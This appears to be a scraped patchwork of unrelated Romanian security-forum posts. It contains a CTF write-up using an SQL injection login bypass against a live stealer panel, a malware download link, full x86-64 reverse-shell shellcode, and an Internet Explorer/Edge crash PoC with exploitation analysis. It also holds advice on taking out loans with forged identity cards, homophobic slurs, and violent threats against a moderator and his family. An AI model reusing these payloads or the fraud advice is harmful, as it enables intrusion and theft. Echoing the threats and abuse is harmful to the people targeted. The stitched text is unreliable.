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Am rezolvat si eu acest challenge si parerea mea e ca nu este HARD, si nici macar tehnic. Ai nevoie de putina intuitie... Am descarcat arhiva, am dezarhivat executabilul si am modificat extensia in .exe apoi l-am urcat pe http://hybrid-analysis.com: LINK Usr6 mi-a zis dinainte ca challenge-ul contine un nivel cu SQLI. Asa ca m-am gandit ca malware-ul se conecteaza undeva si trimite informatii despre utilizatorul infectat care mai apoi vor fi tinute intr-o baza de date. Ciudat, am vazut ca nu se conecteaza nicaieri... Deci, cum trimite el datele? M-am uitat mai atent si am vazut la strings acest link: http://stlr.multiencoder.com/admin.php . Am intrat imediat sa vad care-i treaba si , ca sa vezi, un panel de la un stealer..: Deci aici ar trebui sa fie SQLI-ul? Am incercat metoda clasica: La username am introdus admin' or 1=1 # . A mers, acum... na beleaua, vad o poza si niste numere pe ea: L-am intrebat pe Usr6 ce ar trebui sa fac si imi zice sa deschid poza full screen , sa ma dau mai in spate cu vreo 2-3 metri si sa ma mai uit o data. Da, seamana foarte mult cu tabelul periodic al elementelor chimice. M-am apucat sa traduc numerele alea dupa tabel si mi-a dat PSSW IS LiBeLuLa.. Si unde bag eu parola asta? M-am gandit imediat la challenge-urile trecute in care punea arhive in poze. Am descarcat poza cu cifrele si i-am schimbat extensia in .7z. Am deschis-o si mi-a cerut parola. Am pus parola LiBeLuLa si a mers. Ce gasesc acolo? O poza cu Gecko:

In inchisorile din SUA a iesit "moda" asta. Poponarii lasau sa se vada boxerii, iar pantalonii atarnau mult in jos. Mai e o specie. Nu stiu, tie ti se pare ca arata a barbati astia ?

adu-mi aminte peste o ora :)))) imi beau cafeaua acum // edit: ti-am scos

asta e specia #REZIST #M_AM_CACAT_PE_MINE si daca comenteaza vreunul de ce rezist, MUIE! asa erau 80% din piata,, luati p**a oligofrenilor!

Acest challenge contine malware real. Rulati doar in masini virtuale(virtualbox, vmware, etc) izolate, fara access la retea. p.s. Programele de tip sandbox nu prezinta siguranta - testat Download: h t t p : / / g e . t t / 7 T V l L m i 2 Parola: dezarhivez un malware Challenge realizat in colaborare cu @Gecko Au rezolvat challenge-ul: @sclipici

Salut, 1. Am dat pana in anul 2038 ca nu suporta platforma mai mult 2. Am zis o saptamana, dar sa fie acolo grupa mare, in caz ca uit 3. Am intrat pe chat, am salutat si mi-ai dat mesaj privat cu formula clasica de salut romaneasca "muie" 4. Nu ne tragem de sireturi, nu suntem prieteni. Si daca am fi prieteni, intai ne-am saluta respectuos apoi ne-am baga pulile-n gura. Cat a trecut ? 1-2 zile ? Mai ai 5. Nu, nu e abuz. Esti in casa la noi.

;The MIT License (MIT) ;Copyright (c) 2017 Robert L. Taylor ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files (the “Software”), ;to deal in the Software without restriction, including without limitation ;the rights to use, copy, modify, merge, publish, distribute, sublicense, ;and/or sell copies of the Software, and to permit persons to whom the ;Software is furnished to do so, subject to the following conditions: ;The above copyright notice and this permission notice shall be included ;in all copies or substantial portions of the Software. ;The Software is provided “as is”, without warranty of any kind, express or ;implied, including but not limited to the warranties of merchantability, ;fitness for a particular purpose and noninfringement. In no event shall the ;authors or copyright holders be liable for any claim, damages or other ;liability, whether in an action of contract, tort or otherwise, arising ;from, out of or in connection with the software or the use or other ;dealings in the Software. ; ; For a detailed explanation of this shellcode see my blog post: ; http://a41l4.blogspot.ca/2017/02/assignment-2b.html global _start section .text _start: ; Socket push 41 pop rax push 2 pop rdi push 1 pop rsi cdq syscall ; Connect xchg edi, eax push rdx mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002 not rbx push rbx mov al, 42 push rsp pop rsi mov dl, 16 syscall ; Dup 2 push 3 pop rsi dup2loop: mov al, 33 dec esi syscall loopnz dup2loop ; Execve ; rax and rsi are zero from the result of the last dup2 syscall and loop push rax ; zero terminator for the following string that we are pushing mov rbx, '/bin//sh' push rbx ; store /bin//sh address in RDI push rsp pop rdi cdq ; zero rdx mov al, 59 syscall Sursa: https://www.exploit-db.com/exploits/41398/

Ma mir cum de nu a aparut pana acum si la noi moda asta..

Din cate stiu eu DA mai este valabil dar datele dupa buletinul "fals" sa apartina cuiva iar cel care face imprumutul ar fi bine sa aiba varsta apropiata daca nu chiar exacta cu ale titularului, in plus de asta buletinul trebuie sa fie super ok adica sa "treaca de lampa" cum sar spune pentru ca numai este ca in 2005-2006 cand faceai imprumut si luai bani in 2 ore, acuma se face dosar si se trimite la bucuresti pentru validare, iar bucurestiul are alt sistem de verificare fata de restul oraselor. Daca faci imprumuti la institutii non-bancare non-guvernamentale gen zaplo, ferratum, provident, easycredit, s.a.m.d nu iti trebuie un buletin super ok cum ti-ar trebuie spre exemplu pentru cec bank, ing, bcr, brd s.a.m.d pentru ca cele mici nu detin asemenea programe/relatii precum bancile mari.

Amazon cauta ingineri cu experienta pe Security si/sau Virtualizare. Beneficii OK, colegi foarte inteligenti. Pentru intrebari/curiozitati PM sau aici. https://www.amazon.jobs/en/jobs/494863

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1011 PoC: --> <!-- saved from url=(0014)about:internet --> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } </script> <body onload="setInterval(boom,100)"> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="5" width=0></th> <th class="class2" width=0><div class="class2"></div></th> <!-- Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 R2. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly. The PoC crashes in MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement when reading from address 0000007800000070 (5fc.8a4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4: 00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=???????????????? With the following call stack: Child-SP RetAddr Call Site 00000071`0e75b960 00007ffe`8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4 00000071`0e75b9c0 00007ffe`8e9ba9df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x641fc 00000071`0e75ba50 00007ffe`8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5 00000071`0e75bb10 00007ffe`8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147 00000071`0e75bbb0 00007ffe`8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77 00000071`0e75bbe0 00007ffe`8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d 00000071`0e75bcc0 00007ffe`8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3 00000071`0e75be60 00007ffe`8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c 00000071`0e75c030 00007ffe`8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102 00000071`0e75c090 00007ffe`8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b 00000071`0e75c220 00007ffe`8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5 00000071`0e75c2f0 00007ffe`8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7 00000071`0e75c360 00007ffe`8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c 00000071`0e75c3f0 00007ffe`8e983b7a MSHTML!CView::EnsureView+0x43f 00000071`0e75c4d0 00007ffe`8e97f82b MSHTML!CPaintController::EnsureView+0x58 00000071`0e75c500 00007ffe`8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b 00000071`0e75c580 00007ffe`8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a 00000071`0e75c5b0 00007ffe`8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb 00000071`0e75c5e0 00007ffe`8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7 00000071`0e75c690 00007ffe`afc13fe0 MSHTML!GlobalWndProc+0x1b8 00000071`0e75c710 00007ffe`afc13af2 USER32!UserCallWinProcCheckWow+0x1be 00000071`0e75c7e0 00007ffe`afc13bbe USER32!DispatchClientMessage+0xa2 00000071`0e75c840 00007ffe`b2352524 USER32!_fnDWORD+0x3e 00000071`0e75c8a0 00007ffe`afc1cfaa ntdll!KiUserCallbackDispatcherContinue 00000071`0e75c928 00007ffe`afc1cfbc USER32!ZwUserDispatchMessage+0xa 00000071`0e75c930 00007ffe`95d1bb28 USER32!DispatchMessageWorker+0x2ac 00000071`0e75c9b0 00007ffe`95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 00000071`0e75fc30 00007ffe`aa81572f IEFRAME!LCIETab_ThreadProc+0x3a3 00000071`0e75fd60 00007ffe`9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f 00000071`0e75fd90 00007ffe`b1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 00000071`0e75fde0 00007ffe`b22d54e4 KERNEL32!BaseThreadInitThunk+0x22 00000071`0e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34 And the following register values: rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050 rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0 rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8 r8=0000007916490ec0 r9=000000710e75b980 r10=00000079164a8f30 r11=000000710e75b928 r12=000000710e75c000 r13=0000007916450fc8 r14=000000791648ec60 r15=0000007911ec9f50 Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address. Let's take a look at the code around the rip of the crash. 00007ffe`8f330a51 488bcd mov rcx,rbp 00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0) 00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=???????????????? 00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c) 00007ffe`8f330a5f 488bcd mov rcx,rbp 00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0) 00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax] 00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi] 00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h] 00007ffe`8f330a74 488bcf mov rcx,rdi 00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)] 00007ffe`8f330a7d 488bce mov rcx,rsi 00007ffe`8f330a80 ffd7 call rdi On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations). On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory. However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls. Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80. --> Sursa: https://www.exploit-db.com/exploits/41454/

E poponar ? Vad ca poarta pantalonii aia exact ca poponarii.

0:08 In plan indepartat cum da cu porcul de pamant

Un mic utilitar pentru codare/decodare string in format AES. Codat de mine. http://www14.zippyshare.com/v/ed1yTq7f/file.html

luamiai coaiele in gura

Titlu:Tutorial Batch(Dos) cum s-a iei bataie din cauza la un forum Inceput tutorial Prima regula e sa fi labagiu.A doua s-a dai ban. Sfarsit tutorial. Lasa c-ati arat eu cum e sa stai legat in beci fututi morti mati care a dat ban te aflu si pun tigani sati rupa curu.Te bat cu sarma de fier peste fatza in fiecare zi pana ceri iertare te faram ca pe teasc fututi dumnezei mati de labagiu.Trimit garda iti cuprind familia daca nu m-a ajuti dc banezi fmm de sarac.T-eai pus cu dracu cand imi fac rost de masina de flood o te rogi de mine o s-a ma numesc cosmarul vieti tale